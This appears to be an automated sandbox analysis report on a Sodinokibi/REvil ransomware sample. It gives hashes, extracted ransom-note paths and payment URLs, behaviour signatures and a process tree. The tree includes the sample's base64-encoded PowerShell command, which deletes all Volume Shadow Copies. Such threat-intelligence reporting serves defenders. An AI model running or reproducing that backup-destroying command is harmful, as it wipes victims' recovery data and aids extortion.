Analysis
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max time kernel
141s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
18-09-2024 14:26
Static task
static1
Behavioral task
behavioral1
Sample
e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe
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Size
166KB
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MD5
e95162f6cffa1a72a495a8edc11ee51b
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SHA1
ecea28ecbcb64cadccc161e7e864c516f7b96523
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SHA256
0fc141d6bb7eb031915cf916e92df0d8baa18047ddb4fc0be7653b9a7d6d31de
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SHA512
65b5f90c9f0f9bdee323554cbc1d5d2869268af8e181e75a6d872e396537ad3b4021635a8d0236e89c3b81f00c502931fd884e49c9283bccc1a6c82426bcc440
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SSDEEP
3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QgerRJN+tH:ZJ0BXScFy2RsQJ8zggerJM
Malware Config
Extracted
C:\Recovery\ki392o-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/48F51BA04CE43C39
http://decryptor.cc/48F51BA04CE43C39
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\T: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\I: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\W: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\Y: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\D: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\A: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\N: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\F: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\O: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\S: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\X: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\P: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\V: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\Z: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\J: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\L: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\H: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\Q: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\U: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\B: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\G: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\M: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\R: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\E: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened (read-only) \??\K: e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\56i670.bmp" e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe -
Drops file in Program Files directory 19 IoCs
description ioc Process File created \??\c:\program files (x86)\ki392o-readme.txt e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\BackupStop.docx e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\ClearResume.mov e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\ConvertFromDismount.001 e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\AssertWrite.vsd e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\BackupImport.bmp e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\RevokeConvertTo.xsl e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\SaveConnect.MTS e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\StepInitialize.dwg e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\WaitFormat.xml e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\FormatExit.pps e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\OptimizeMount.xht e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\RedoAdd.m4a e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\SelectBackup.wmf e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\SetLock.tiff e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\StopRequest.vssx e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\UseLimit.M2T e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File created \??\c:\program files\ki392o-readme.txt e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe File opened for modification \??\c:\program files\RestoreSend.3gp2 e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3500 e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe 3500 e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe 2380 powershell.exe 2380 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 3500 e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe Token: SeDebugPrivilege 2380 powershell.exe Token: SeBackupPrivilege 4768 vssvc.exe Token: SeRestorePrivilege 4768 vssvc.exe Token: SeAuditPrivilege 4768 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3500 wrote to memory of 2380 3500 e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe 89 PID 3500 wrote to memory of 2380 3500 e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe 89 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe"1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3500 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2380
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:4724
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4768
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4400,i,6510295916244954942,10164894160290787457,262144 --variations-seed-version --mojo-platform-channel-handle=1012 /prefetch:81⤵PID:884
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
8KB
MD5fc6c541d56855b64ba5a56bd47539610
SHA18547551cb956e42b93adf030750d75a237d171ec
SHA256bf9f326db1d972cacc80779518a38c989ebecb39aa908269069b2d89a2a9c0bf
SHA512fcc9ac0ac19bd0eed37421e84801b1879671f7b5c2624d99867410780f454008d4fb24485bdb414168b7a98f900b663876a151153616ac6129949f428acc9ed9
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82